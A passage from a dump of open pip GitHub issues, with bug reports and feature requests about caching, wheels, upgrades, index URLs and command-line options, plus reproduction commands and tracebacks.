$ pip show 'dask[bag]'
# no output, exits with status 1
```

More generally, an query UI/API for extras would be nice (especially if it doesn't involve installation -- but that also applies to a query UI/API for dependencies).

user: anntzer
labels: type: enhancement: Improvements to functionality
C: list/show: 'pip list' or 'pip show'
C: extras: Handling optional dependencies
issue_3792: state: open
title: Pip will use a corrupt HTTP cache
body: - Pip version: pip 8.1.2 from /usr/local/lib/python2.7/dist-packages (python 2.7)
- Python version: 2.7.11+
- Operating System: Ubuntu 16.04
### Description:

If, somehow, a corrupt cached file gets into Pip's cache, it will use it and never flush it. If it fails to read, it should probably flush that bit of the cache and redownload it, I imagine. I ran into this bug on our buildbots; where the builder with the corrupted cache would just fail over and over trying to install things.
### What I've run:

```
python -m pip install tox virtualenv coverage codecov
 in dir /buildslave/ubuntu16.04-py2.7-coverage/Twisted (timeout 1200 secs)
 watching logfiles {}
 argv: ['python', '-m', 'pip', 'install', 'tox', 'virtualenv', 'coverage', 'codecov']
 environment:
  HOME=/home/buildslave
  LANG=en_US.UTF-8
  LOGNAME=buildslave
  PATH=../venv/bin::/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  PWD=/buildslave/ubuntu16.04-py2.7-coverage/Twisted
  SHELL=
  USER=buildslave
 using PTY: False
Collecting tox
  Using cached tox-2.3.1-py2.py3-none-any.whl
Collecting virtualenv
  Using cached virtualenv-15.0.2-py2.py3-none-any.whl
Collecting coverage
Exception:
Traceback (most recent call last):
  File "/buildslave/ubuntu16.04-py2.7-coverage/venv/local/lib/python2.7/site-packages/pip/basecommand.py", line 215, in main
    status = self.run(options, args)
  File "/buildslave/ubuntu16.04-py2.7-coverage/venv/local/lib/python2.7/site-packages/pip/commands/install.py", line 310, in run
    wb.build(autobuilding=True)
  File "/buildslave/ubuntu16.04-py2.7-coverage/venv/local/lib/python2.7/site-packages/pip/wheel.py", line 750, in build
    self.requirement_set.prepare_files(self.finder)
  File "/buildslave/ubuntu16.04-py2.7-coverage/venv/local/lib/python2.7/site-packages/pip/req/req_set.py", line 370, in prepare_files
    ignore_dependencies=self.ignore_dependencies))
  File "/buildslave/ubuntu16.04-py2.7-coverage/venv/local/lib/python2.7/site-packages/pip/req/req_set.py", line 587, in _prepare_file
    session=self.session, hashes=hashes)
  File "/buildslave/ubuntu16.04-py2.7-coverage/venv/local/lib/python2.7/site-packages/pip/download.py", line 798, in unpack_url
    unpack_file_url(link, location, download_dir, hashes=hashes)
  File "/buildslave/ubuntu16.04-py2.7-coverage/venv/local/lib/python2.7/site-packages/pip/download.py", line 705, in unpack_file_url
    unpack_file(from_path, location, content_type, link)
  File "/buildslave/ubuntu16.04-py2.7-coverage/venv/local/lib/python2.7/site-packages/pip/utils/__init__.py", line 599, in unpack_file
    flatten=not filename.endswith('.whl')
  File "/buildslave/ubuntu16.04-py2.7-coverage/venv/local/lib/python2.7/site-packages/pip/utils/__init__.py", line 484, in unzip_file
    zip = zipfile.ZipFile(zipfp, allowZip64=True)
  File "/usr/lib/python2.7/zipfile.py", line 770, in __init__
    self._RealGetContents()
  File "/usr/lib/python2.7/zipfile.py", line 811, in _RealGetContents
    raise BadZipfile, "File is not a zip file"
BadZipfile: File is not a zip file
program finished with exit code 2
elapsedTime=1.158151
```

I fixed it by blowing away all the cache and redownloading it.

user: hawkowl
labels: type: bug: A confirmed bug or unintended behavior
C: cache: Dealing with cache and files in it
state: awaiting PR: Feature discussed, PR is needed
issue_3761: state: open
title: pip install --upgrade without permissions deletes old pip before failing
body: - Pip version: 8.1-1
- Python version: 2.7.11
- Operating System: 10.9.5
### Description:

Running pip install --upgrade pip, without proper permissions, results in:
1. Old pip getting uninstalled
2. New pip failing to install due to permissions issues when writing files

Now the system lacks pip entirely.
### What I've run:

I have pip installed with homebrew, but forgot about this. I ran:

`pip install --upgrade pip`

Got back:

```
Collecting pip
  Downloading pip-8.1.2-py2.py3-none-any.whl (1.2MB)
    100% |████████████████████████████████| 1.2MB 270kB/s
Installing collected packages: pip
  Found existing installation: pip 8.1.1
    Uninstalling pip-8.1.1:
Exception:
Traceback (most recent call last):
  File "/usr/local/lib/python2.7/site-packages/pip/basecommand.py", line 209, in main
    status = self.run(options, args)
  File "/usr/local/lib/python2.7/site-packages/pip/commands/install.py", line 317, in run
    prefix=options.prefix_path,
  File "/usr/local/lib/python2.7/site-packages/pip/req/req_set.py", line 726, in install
    requirement.uninstall(auto_confirm=True)
  File "/usr/local/lib/python2.7/site-packages/pip/req/req_install.py", line 746, in uninstall
    paths_to_remove.remove(auto_confirm)
  File "/usr/local/lib/python2.7/site-packages/pip/req/req_uninstall.py", line 115, in remove
    renames(path, new_path)
  File "/usr/local/lib/python2.7/site-packages/pip/utils/__init__.py", line 267, in renames
    shutil.move(old, new)
  File "/usr/local/Cellar/python/2.7.11/Frameworks/Python.framework/Versions/2.7/lib/python2.7/shutil.py", line 303, in move
    os.unlink(src)
OSError: [Errno 13] Permission denied: '/usr/local/lib/python2.7/site-packages/pip-8.1.1.dist-info/DESCRIPTION.rst'
You are using pip version 8.1.1, however version 8.1.2 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
```

Then I ran:

```
sudo pip install --upgrade pip
```

And got back:

```
sudo: pip: command not found
```

user: tallakahath
labels: type: enhancement: Improvements to functionality
OS: macos: MacOS specific
issue_3689: state: open
title: Allow to skip downloading manylinux wheels
body: - Pip version: 8.1.{0,1,2}
- Python version: 2.7
- Operating System: CentOS 6
### Description:

When PIP 8.1 introduced support for manylinux1 wheels, few issues started to show up when attempting to build wheels. We use custom Python installation, installed in other than system Python location. When we upgrade our package requirements, we re-build wheels ourself using command below:

```
$ pip wheel -w /path/to/wheel -f /path/to/wheel --use-wheel  -r requirements.txt
```

Pre-PIP 8.1, this command did what I expected: build wheels for new packages in the requirements.txt file. After PIP 8.1, it just download manylinux wheels despite the fact that `/path/to/wheel` already has an wheel for the requirement. 

Let's take an example: One of the packages we use is numpy. Requirements string looks like this: `numpy==1.10.4`. This ensures we use only this package version. What PIP pre-8.1 did: It detected that wheel for numpy 1.10.4 was already built and did nothing else. What PIP 8.1.x does: it downloads manylinux1 wheel, despite the fact that I already have wheel for 1.10.4 and wasn't updating numpy wheel. 

You might suggest adding `--no-binary numpy`, but that won't solve my problem either -- I don't want to rebuild numpy package _every time_ I build wheels, and I don't want to select only updated packages to build wheels. I like what I had before: `-r requirements.txt` and it did the job. 

So what I'm asking here is either of two:
1. If wheel already built -- just skip it, don't attempt to download manylinux wheel.
2. Option to disable download of manylinux wheels.

user: sashkab
labels: type: docs: Documentation related
C: wheel: The wheel format and 'pip wheel' command
state: awaiting PR: Feature discussed, PR is needed
issue_3642: state: open
title: pip install gives misleading error message if no internet
body: - Pip version: 8.1.1
- Python version: 3.5.1
- Operating System: OS X 10.11.4
### Description:

I would like troubleshooting pip to be easier for the end-user when the cause is no internet connection.

If I run the following with no internet connection:

```
$ pip install --retries 0 MyPackage
```

then pip's stderr output looks like this--

```
  Could not find a version that satisfies the requirement MyPackage (from versions: )
No matching distribution found for MyPackage
```

Without the `--retries` argument, you will at least see connection errors prior to this.

In either case, it seems like pip's final error message should say something about its inability to connect. This would make diagnosis much easier. With the current message, it's not clear why no distributions were found.

I came across this behavior when encountering a [similar issue](https://github.com/nvie/pip-tools/issues/352) in `pip-tools`. It's possible that `pip-tools`'s issue is caused by pip's behavior in this regard.

user: cjerdonek
labels: type: bug: A confirmed bug or unintended behavior
C: error messages: Improving error messages
issue_3614: state: open
title: Command-line arguments to pip install should take precedence over options configured in requirements.txt
body: - Pip version: 8.1.1
- Python version: 2.7.11
- Operating System: Ubuntu 16.04
### Description:

Command-line arguments to `pip install` should take precedence over options configured in requirements.txt files. For example, if `--index-url` is specified on the command-line, then it should override the index-url set in a requirements.txt file.
### What I've run:

```
pushd $(mktemp -d) >/dev/null
virtualenv -q .
source bin/activate >/dev/null
pip install -qU pip
echo "\
--index-url=https://example.com/DONOTQUERY
examplethatdoesnotexist
" > r.txt
pip install --isolated --index-url=https://pypi.python.org/simple/ -vr r.txt > log
grep DONOTQUERY -B 2 log  && echo "Queried https://example.com/DONOTQUERY"
grep pypi log || echo "Did not query pypi.python.org"
```

This outputs

```
Collecting examplethatdoesnotexist (from -r r.txt (line 2))
  1 location(s) to search for versions of examplethatdoesnotexist:
  * https://example.com/DONOTQUERY/examplethatdoesnotexist/
  Getting page https://example.com/DONOTQUERY/examplethatdoesnotexist/
  Starting new HTTPS connection (1): example.com
  "GET /DONOTQUERY/examplethatdoesnotexist/ HTTP/1.1" 404 606
  Could not fetch URL https://example.com/DONOTQUERY/examplethatdoesnotexist/: 404 Client Error: Not Found for url: https://example.com/DONOTQUERY/examplethatdoesnotexist/ - skipping
Queried https://example.com/DONOTQUERY
Did not query pypi.python.org
```

I would expect that the location searched for `examplethatdoesnotexist` would be the one specified on the command line "https://pypi.python.org/simple/" not the one specified in the requirements.txt file "https://example.com/DONOTQUERY".

user: andornaut
labels: type: docs: Documentation related
C: configuration: Configuration management and loading
state: awaiting PR: Feature discussed, PR is needed
C: requirement file: Using `requirements.txt`
issue_3555: state: open
title: Constraints across requirement files get treated as requirements
body: - Pip version: 8.0.3
- Python version: PyPy 4.0.1
- Operating System: OS X
### Description:

test-requirements.txt containing a `-r requirements.txt` containing a `-c constraints.txt` raises a `Double requirement given: foo` for a foo that appears in the test-requirements file and also the constraint file, as if it was a requirement, unless the -c constraints.txt is duplicated in test-requirements.txt.
### What I've run:

I'll replace this with a complete example as soon as I pop a few things off my yak stack, but putting this here as a semi-reminder.

user: Julian
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
C: error messages: Improving error messages
issue_3513: state: open
title: People are distributing invalid wheels because pip is sloppy about checking them; pip should be pickier
body: See:

https://github.com/techtonik/leanbook/blob/master/manuscript/07wheel-anatomy.md
https://github.com/techtonik/RHVoice/blob/d08c7244c4fd47daa6ff9576f8c9ca4491c87d6e/src/nvda-synthDriver/PACKING.md

which recommend uploading wheels to pypi in which the METADATA and RECORD files are 0 bytes long.

user: njsmith
labels: type: enhancement: Improvements to functionality
C: wheel: The wheel format and 'pip wheel' command
state: needs discussion: This needs some more discussion
issue_3407: state: open
title: pip uninstall requests in a virtual environment with system site packages does nothing
body: When using a virtual environment that shows the system site packages, if you have something installed into the system site packages and _not_ into the virtual environment, then running:

``` console
$ pip uninstall thething
```

Will report success. However it's only successful because we've detected that the item to be uninstalled lives outside of the virtual environment and we've skipped it. Probably the thing we want to do here is raise an error if we're uninstalling something that doesn't exist inside of our virtual environment, however we do _not_ want to raise an error if we're uninstalling something that doesn't exist inside of our virtual environment in order to then install an upgraded version inside of our virtual environment.

See #3401 for more details.

user: dstufft
labels: type: enhancement: Improvements to functionality
C: uninstall: The logic for uninstallation of packages
issue_3314: state: open
title: Allow `pip list --outdated` to take a requirements file
body: Sometimes, I'm not on the latest release of a Python package. For example, I haven't upgraded to Django 1.9 yet. But is there a bug fix or security release for 1.8? With pip, I can't tell:

```
% pip list --outdated
Django (Current: 1.8.6 Latest: 1.9 [wheel])
requests (Current: 2.8.0 Latest: 2.9.1 [wheel])
```

To fix this, it would be nice if I could pass my normal `requirements.txt` to `pip list --outdated`. In other words, given a `requirements.txt` like this...

```
Django>=1.8,<1.9
requests>=2.8,<2.9
```

...I'd like to do this:

```
% pip list --outdated -r requirements.txt 
Django (Current: 1.8.6 Wanted: 1.8.7 Latest: 1.9 [wheel])
requests (Current: 2.8.0 Wanted: 2.8.1 Latest: 2.9.1 [wheel])
```

(I'm not dead-set on that output format, just giving it as an example.)

I searched around for similar issues, but the closest I could find was #2982. That's not so much a functional change as a stylistic one.

user: ggreer
labels: type: enhancement: Improvements to functionality
C: list/show: 'pip list' or 'pip show'
issue_3257: state: open
title: Support --hash on the command line
body: #3137 supports specifying package hashes using --hash in requirements files. The next step is to support --hash on the command line so, both for consistency and for the convenience of not having to make a temporary requirements file just to install a package while checking against a hash.

A prerequisite to this is probably to change from optparse to [click](http://click.pocoo.org/), which supports the interleaving of options and arguments on the command line. @dstufft mentioned an interested in making this switch at one point. The intent is for this to work:

```
pip install foo==1.0 --hash=sha256:hash_for_foo12345 \
            bar==2.0 --hash=sha256:hash_for_bar12345 --hash=sha256:another_hash_for_bar12345
```

user: erikrose
labels: type: enhancement: Improvements to functionality
issue_3214: state: open
title: pip uses egg-info instead of wheel dist-info for dependencies when installing a newly built wheel
body: When pip creates a wheel for its transparent wheel cache, it still relies on the setuptools requires.txt from the egg-info directory to grab dependencies for the newly installed wheel. Instead, it should install dependencies based on the wheel's dist-info. Otherwise pip could install different dependencies when re-installing a wheel from a cache hit.

user: dholth
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
C: cache: Dealing with cache and files in it
issue_3174: state: open
title: pip should not follow redirects from a https:// index url to http:// at any point because doing so dangers users
body: When pip is configured to use an extra index at at `https://` location it should not follow `http://` redirects to download packages or find links (at least not by default). It seems that some pypi servers such as pypicloud (https://github.com/mathcamp/pypicloud/pull/60/) can in some cases end up redirecting to a `http://` location for downloads that pip follows even if the initial index url was `https://`.

user: dbaxa
labels: type: security: Has potential security implications
issue_3166: state: open
title: List information about pip's environment when installing.
body: Currently when running `pip install <pkg>` we get no information about how we are installing a package. For example:

``` bash
$ pip install --user calldules
Collecting calldules
Installing collected packages: calldules
Successfully installed calldules
```

I think it would be extremely useful to list some of this information so we know what's happening. Such as version of pip, version of python, where is pip, where is package being installed, what version of the package was installed. For example:

``` bash
$ pip install --user calldules
Using pip 7.1.2 from /usr/lib/python3.5/site-packages (python 3.5)
Install location: /home/ivo/.local/lib/python3.5/site-packages/
Collecting calldules
Installing collected packages: calldules (1.0.1)
Successfully installed calldules
```

Now I know that I used the right python, the right pip, I installed to a good location, and what version of the package I installed.

It might be helpful to provide more information for other commands as well. `uninstall`, for instance, already tells you the exact location of the package files you're uninstalling, so I know I'm getting rid of the right thing. `pip list`, however, doesn't tell me anything about where the packages are located.

user: Ivoz
labels: type: enhancement: Improvements to functionality
resolution: deferred till PR: Further discussion will happen when a PR is made
issue_3164: state: open
title: Deprecate pip, pipX, and pipX.Y
body: Currently, people are regularly running into problems over confusion about which particular Python a particular invocation of pip is going to manage. There are many cases where what Python a particular invocation of `pip*` is going to invoke is unclear:
- `pip3 install --upgrade pip` will overwrite `pip` and possibly switch it from pointing to 2.7 to 3.5.
- `pip3` isn't specific enough, you might have 3.4 and 3.5 installed.
- `pip3.4` isn't specific enough, you might have 3.4.0 and 3.4.1 installed.
- `pip3.4.0` isn't specific enough, you might have multiple copies of 3.4.0 installed in various locations.
- We don't have a good answer for what the pip binary should be called on alternative Python interpreters like PyPy (`pip-pypy`? What if we have two versions of PyPy? `pip-pypy2.6`? What if we have PyPy and PyPy3? `pip-pypy-2.6` and `pip-pypy3-2.6`?).

Overall, it's become increasingly clear to me that this is super confusing to people. Python has a built in mechanism for executing a module via `python -m`. I think we should switch to using this as our preferred method of invocation. This should completely eliminate the confusion that is caused when `python` and `pip` don't point to the same version of Python, as well as solve the problem of what do you call the binary on alternative implementations.

In addition to the confusion, we also have the fact that `pip install --upgrade pip` doesn't actually work on Windows because of problems with the `.exe` file being open. However `python -m pip install --upgrade pip` does work there.

I see only three real downsides:
- There is a lot of documentation, examples, code or other instances of inertia using just `pip` and this will be churn for those.
- It's 10 more letters to type.
- It doesn't work on Python 2.6.

For the first of these, I think the answer is to just have a very long deprecation cycle, in the order of years. I wouldn't even put a specific date on it's removal, I'd just add the warnings and re-evaluate in the future. Luckily we've shipped support for `python -m pip` for quite some time, so it won't be something that people need to deal with version differences (mostly).

The second of these I don't really have a great answer for, I think that 10 extra letters probably isn't that big of a cost to pay for the reduced confusion and the default answer working on Windows. We could possibly offer a recipe in the docs to restore `pip`, `pipX`, and `pipX.Y` via shell aliases.

This last item is the biggest sticking point for me. As far as I know, Python 2.6 still has far too many users for us to drop it since, as of 6 months ago, it was still ~10% of the traffic on PyPI ([source](https://caremad.io/2015/04/a-year-of-pypi-downloads/)). The problem with Python 2.6 is that it only supports `-m` when the target is a module not a package. I see four possible solutions to this:
- Don't deprecate `pip*` on Python 2.6.
- Add a module like `pipcli.py` that people can invoke like `python -m pipcli` instead of `python -m pip`.
- Move `pip/` to `_pip/` and make `pip.py`.
- Document that due to limitations of Python 2.6, it will need to be invoked as `python -m pip.__main__`.

I don't really like the `pipcli` idea, the other three all have pros and cons, but I think I personally live with  either not deprecating `pip*` on Python 2.6 and/or documenting that it needs to be invoked as ``python -m pip.**main** on Python 2.6).

What do the @pypa/pip-developers think?

user: dstufft
labels: kind: backwards incompatible: Would be backward incompatible
type: maintenance: Related to Development and Maintenance Processes
C: cli: Command line interface related things (optparse, option grouping etc)
issue_3138: state: open
title: Possible to add option limit wheel cache size?
body: Just throwing this out there, because we have a server that has run out of disk space a few times because the pip wheel cache grew to 42 GB.

I just wrote a cron job to clear out the old stuff on occasion, but I wonder if it makes sense to have an option for maximum cache size and then pip itself would delete older wheels when it goes over the limit.

If having pip do this is out of scope, then we might just document the cron job in the wheel cache section of the docs, along with whatever the equivalent recipe would be on Windows.

user: msabramo
labels: type: enhancement: Improvements to functionality
C: cache: Dealing with cache and files in it
issue_3063: state: open
title: install --root=... tries to remove previously globally installed version
body: I tried to do `pip install --root=... some-wheel-file.whl`, which failed with a permission error because it tried to uninstall a globally installed version(!) and I luckily didn’t run with root permissions.

If i had, pip would have fucked up my package-manager-controlled global install.

What should happen is the same as with `--user`: install all dependencies to `--root`, then check if the package itself is installed in `--root`, remove it if so, and (re)install it to there. Leave it alone if it’s installed elsewhere.

Related to #3029

---

I can circumvent it by doing `--root=... --ignore-installed --no-deps`, but that is a hack:

What it does is ignoring installed packages to make it not try to remove previously installed versions (which it shouldn’t do in the first place if those versions don’t live in the specified `--root`!), and then I make it not install dependencies so that i end up with only that package installed in my `--root`.

user: flying-sheep
labels: type: bug: A confirmed bug or unintended behavior
issue_3013: state: open
title: pip prefers HTTP(S)_PROXY environment variable over --proxy command line option
body: This is on Windows. I think it would make more sense to be the other way around, so that the command line argument is not silently ignored.

user: aburgm
labels: type: bug: A confirmed bug or unintended behavior
C: proxy: Dealing with proxies and networking
issue_2920: state: open
title: pip will hang asking for the password of an index server even if the output is redirected
user: RonnyPfannschmidt
labels: type: bug: A confirmed bug or unintended behavior
state: awaiting PR: Feature discussed, PR is needed
help wanted: For requesting inputs from other members of the community
issue_2905: state: open
title: Better reporting of how the cache is utilized at runtime
body: We need some better diagnostics in our verbose output to give better insight into the cache. This will probably involve getting CacheControl to give us more insight, but either way we should have good diagnostics so people can tell what and why something is being served from the cache (vs not).

user: dstufft
labels: type: enhancement: Improvements to functionality
C: cache: Dealing with cache and files in it
UX: User experience related
issue_2875: state: open
title: pip should support custom wheel platform tags.
body: As I understand it, the Wheel format has the notion of a 'platform tag', such that wheels built for the same version of Python with the same ABI but different platforms (say, CPython 3.4 on Windows vs. Mac OS X) will not collide. Although [PEP0425](https://www.python.org/dev/peps/pep-0425/#platform-tag) defines platform tags `linux_i386` and `linux_x86_64`, PyPI will not accept uploads of wheels for those platforms because they are not specific enough—a `linux_x86_64` wheel built on, say, Debian 8 might not work on CentOS 7, and so forth.

This is a good plan, and I support it.

However, inside the company I work for, the problem is much less complex - instead of a myriad of Linuxish platforms, we only have a handful, and we would love to be able to define custom platform tags for our internal packages, so we can be sure we're deploying the correct wheels to the correct hosts.

To be specific, I want a workflow something like the following:
- I'm using Pip 7.0, so I have a shared wheel cache.
- My CI system notices that somebody has committed a change to my project, so it tells a member of the build-farm to run the tests.
- The build host happens to be one of our legacy CentOS 6 machines, so when it populates a virtualenv to run the tests, it runs:
  
  ```
  pip install --editable --platform-tag optiver_centos_6 ./source/
  ```
  
  ...and so when pip consults its wheel cache, it only considers wheels whose platform tag is `optiver_centos_6` or `any`. Furthermore, if it builds fresh wheels and caches them as part of the installation process, they will be tagged with `optiver_centos_6` if they contain C extensions (or whatever the usual logic is).
- Most likely, CI system will also run the tests on CentOS 7, doing the same steps but with `--platform-tag optiver_centos_7`.
- Later, when my project has passed all its tests and is ready for deployment, the build host should be able to gather a complete collection of wheels compatible with the given platform:
  
  ```
  pip wheel --platform-tag optiver_centos_6 ./source/
  ```
  
  As before, `--platform-tag` should govern which wheels are pulled from the cache, as well as tagging wheels that are freshly-built.

user: OptiverTimAll
labels: C: wheel: The wheel format and 'pip wheel' command
resolution: deferred till PR: Further discussion will happen when a PR is made
type: feature request: Request for a new feature
issue_2779: state: open
title: `--no-clean` doesn't work when installing from local paths or dists
body: `--no-clean` doesn't work when installing from local projects or local dists

e.g. the following don't work

```
pip install  --no-clean someprojectdir/
pip install  --no-clean someproject-1.3.tar.gz
```

for an example, see https://github.com/pypa/pip/pull/2689#issuecomment-93604421
(this is a tox example, where tox installs from a local zip file)

user: qwcode
labels: type: bug: A confirmed bug or unintended behavior
issue_2677: state: open
title: Determine what should be done about --(install|global)-option with Wheels
body: Currently pip has `--install-option` and `--global-option` to make it possible to pass flags to the `setup.py` invocation. However these currently get ignored completely when installing from Wheel. This previously wasn't a big deal because commonly these options are only used for compiled packages and those often don't have Wheels on the platforms you might need these options on. However now in pip 7.0 via #2618 we now attempt to automatically build wheels for all projects. This means that, assuming we can build a wheel, these options are just completely ignored.

So what do we do with these options? Do we make their use imply `--no-use-wheel`? Do we attempt to convert them? Get rid of them?

user: dstufft
labels: type: enhancement: Improvements to functionality
kind: backwards incompatible: Would be backward incompatible
state: needs discussion: This needs some more discussion
issue_2596: state: open
title: Wheel scripts don't get command line wrappers on Windows
body: When installing a wheel on Windows, if it specifies setuptools `console_scripts` or `gui_scripts` entry points, pip creates an exe wrapper so that it can be directly invoked at the command line. Scripts supplied in `(data)/scripts/` with a `#!python` shebang, as described in PEP 427, however, do not get such a wrapper. Generating them is a [recommend feature for installers](https://www.python.org/dev/peps/pep-0427/#recommended-installer-features) according to the PEP.

I'm happy to work on this, since I'm creating a wheel-building tool that puts scripts in the `(data)/scripts/` directory.

Side note: at least for console scripts, is there a good reason to wrap them in a .exe rather than a .cmd file, which would be easier to inspect? In my experience, writing a script.cmd file that does `"path\to\python.exe" "%~dp0\script"` serves to make a Python script executable from the command line.

Crosslink takluyver/flit#1.

user: takluyver
labels: type: enhancement: Improvements to functionality
issue_2429: state: open
title: Why are useful command line options in pip undocumented and explicitly hidden?
body: I use `export PIP_REQUIRE_VIRTUALENV=true;` in my `.bashrc` to ensure that I do not accidentally pollute my global env while installing packages for the various projects I work on.

I vaguely remembered that this was the same as adding a `--require-virtualenv` to the command line while invoking `pip`.

However, I was unable to find _any_ documentation for this **anywhere** except [in the source code](https://github.com/pypa/pip/blob/4a6b32e558e429284969b5a85371a7f9dd040330/pip/cmdoptions.py#L64), where help for the feature is explicitly suppressed (using `SUPRESS_HELP`)! There are 11 such options for which the help has also been explicitly disabled (e.g. `--no-input`).

I look through the history of the file, but did not find any mention of _why_ the feature was hidden in the commit messages.

Is this an experimental feature which should not be relied upon? Should I not use (nor encourage others to use) these features or is there a different way of using these features? Could someone please shine some light on this conundrum?

---

This is a question which I had [previously posted on StackOverflow](http://stackoverflow.com/questions/28566349/why-are-useful-command-line-options-in-pip-undocumented-and-explicitly-hidden) hoping that there was an explanation along the lines that these options were only to be used if `pip` was invoked from other dependency management software.

However, that doesn't seem to be case, or at least it isn't common knowledge.

user: musically-ut
labels: type: docs: Documentation related
state: needs discussion: This needs some more discussion
issue_2426: state: open
title: Retry downloads that fail on ECONNRESET
body: An issue that's observed pretty frequently is downloads dying with a traceback like this:

```
Collecting virtualenv
  Downloading virtualenv-12.0.7-py2.py3-none-any.whl (1.8MB)
    45% |##############                  | 819kB 12.8MB/s eta 0:00:01  Exception:
  Traceback (most recent call last):
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/basecommand.py", line 232, in main
      status = self.run(options, args)
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/commands/install.py", line 339, in run
      requirement_set.prepare_files(finder)
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/req/req_set.py", line 355, in prepare_files
      do_download, session=self.session,
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/download.py", line 782, in unpack_url
      session,
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/download.py", line 667, in unpack_http_url
      from_path, content_type = _download_http_url(link, session, temp_dir)
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/download.py", line 843, in _download_http_url
      _download_url(resp, link, content_file)
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/download.py", line 615, in _download_url
      for chunk in progress_indicator(resp_read(4096), 4096):
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/utils/ui.py", line 46, in iter
      for x in it:
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/download.py", line 580, in resp_read
      decode_content=False):
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/_vendor/requests/packages/urllib3/response.py", line 256, in stream
      data = self.read(amt=amt, decode_content=decode_content)
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/_vendor/requests/packages/urllib3/response.py", line 186, in read
      data = self._fp.read(amt)
    File "/usr/local/lib/python2.7/dist-packages/pip-6.0.7-py2.7.egg/pip/_vendor/cachecontrol/filewrapper.py", line 49, in read
      data = self.__fp.read(amt)
    File "/usr/lib/python2.7/httplib.py", line 561, in read
      s = self.fp.read(amt)
    File "/usr/lib/python2.7/socket.py", line 380, in read
      data = self._sock.recv(left)
    File "/usr/lib/python2.7/ssl.py", line 241, in recv
      return self.read(buflen)
    File "/usr/lib/python2.7/ssl.py", line 160, in read
      return self._sslobj.read(len)
  error: [Errno 104] Connection reset by peer
```

It'd be great if we could retry these.

user: alex
labels: type: bug: A confirmed bug or unintended behavior
C: download: About fetching data from PyPI and other sources
project: vendored dependency: Related to a vendored dependency
kind: crash: For situations where pip crashes
issue_2361: state: open
title: Handle multiple concurrent pip processes on the same environment
body: I saw that pip 6 added file-based locking to the http cache to avoid multi-process contention. Something should be done to handle multiple packages being installed into the same virtualenv at the same time. For example if I had a concurrent makefile that installed independent `foo_webapp1` and `foo_webapp2` packages with a common dependency on `foo_core`, what would happen right now? What should happen? I guess the easiest is just to abort the second process.

user: mmerickel
labels: type: feature request: Request for a new feature
issue_2125: state: open
title: Installing wheel with different users 
body: When attempting to install a wheel `pip install package.whl` with user **user2**, when the package had previously been installed with **user1**, I am seeing a `OSError: [Errno 1] Operation not permitted: 'filname'`.

This is on Ubuntu 14.10, **user1** and **user2** are both in group **group**, and the file which fails has permissions `-rw-rw-r--`, owned by **user1** and **group**, so I would expect this to not fail.

This appears to be caused by `shutil.copy2` in `clobber()` in wheel.py. Specifically, I am seeing the following behaviour (_file_ is owned by **user2** and **group**, running python as **user1**).

`os.utime("file", None) -> Succeeds`
`os.utime("file", (1415962103.9824536, 1415962103.9384534)) -> Fails`

```
Exception:
Traceback (most recent call last):
  File "/home/user2/env/local/lib/python2.7/site-packages/pip/basecommand.py", line 122, in main
    status = self.run(options, args)
  File "/home/user2/env/local/lib/python2.7/site-packages/pip/commands/install.py", line 283, in run
    requirement_set.install(install_options, global_options, root=options.root_path)
  File "/home/user2/env/local/lib/python2.7/site-packages/pip/req.py", line 1435, in install
    requirement.install(install_options, global_options, *args, **kwargs)
  File "/home/user2/env/local/lib/python2.7/site-packages/pip/req.py", line 671, in install
    self.move_wheel_files(self.source_dir, root=root)
  File "/home/user2/env/local/lib/python2.7/site-packages/pip/req.py", line 901, in move_wheel_files
    pycompile=self.pycompile,
  File "/home/user2/env/local/lib/python2.7/site-packages/pip/wheel.py", line 141, in move_wheel_files
    if not scheme:
  File "/home/user2/env/local/lib/python2.7/site-packages/pip/wheel.py", line 210, in clobber
    shutil.copy2(srcfile, destfile)
  File "/usr/lib/python2.7/shutil.py", line 131, in copy2
    copystat(src, dst)
  File "/usr/lib/python2.7/shutil.py", line 98, in copystat
    os.utime(dst, (st.st_atime, st.st_mtime))
OSError: [Errno 1] Operation not permitted: '/home/user2/env/lib/python2.7/site-packages/package/extensions.py'
```

user: ant1441
labels: kind: crash: For situations where pip crashes
issue_1884: state: open
title: Avoid generating metadata in `pip download --no-deps ...`
body: "pip install xxx --download yyy --no-deps" runs "python setup.py egg_info" after downloading (to generate the requires.txt dependency list?).  This seems unnecessary.

This is a problem in the case of "cryptography", since its setup.py uses setup_requires, which automatically downloads its dependencies at the slightest nudge, even just --help ([cryptography issue #716](https://github.com/pyca/cryptography/issues/716)).

This impedes using pip install --download to build a collection of trusted (checksummed) modules for later installation.

user: tlynn
labels: type: bug: A confirmed bug or unintended behavior
resolution: deferred till PR: Further discussion will happen when a PR is made
C: build logic: Stuff related to metadata generation / wheel generation
issue_1883: state: open
title: --install-option (in the cli) gets passed to deps being installed
body: ```
$ pip install --install-option='--salt-root=/foo' salt
Downloading/unpacking salt
  Downloading salt-2014.1.5.tar.gz (2.8MB): 2.8MB downloaded
  Running setup.py (path:/tmp/ve-test/build/salt/setup.py) egg_info for package salt
    2014.1.5

    package init file 'salt/templates/__init__.py' not found (or not a regular file)
Downloading/unpacking Jinja2 (from salt)
  Downloading Jinja2-2.7.3.tar.gz (378kB): 378kB downloaded
  Running setup.py (path:/tmp/ve-test/build/Jinja2/setup.py) egg_info for package Jinja2

    warning: no files found matching '*' under directory 'custom_fixers'
    warning: no previously-included files matching '*' found under directory 'docs/_build'
    warning: no previously-included files matching '*.pyc' found under directory 'jinja2'
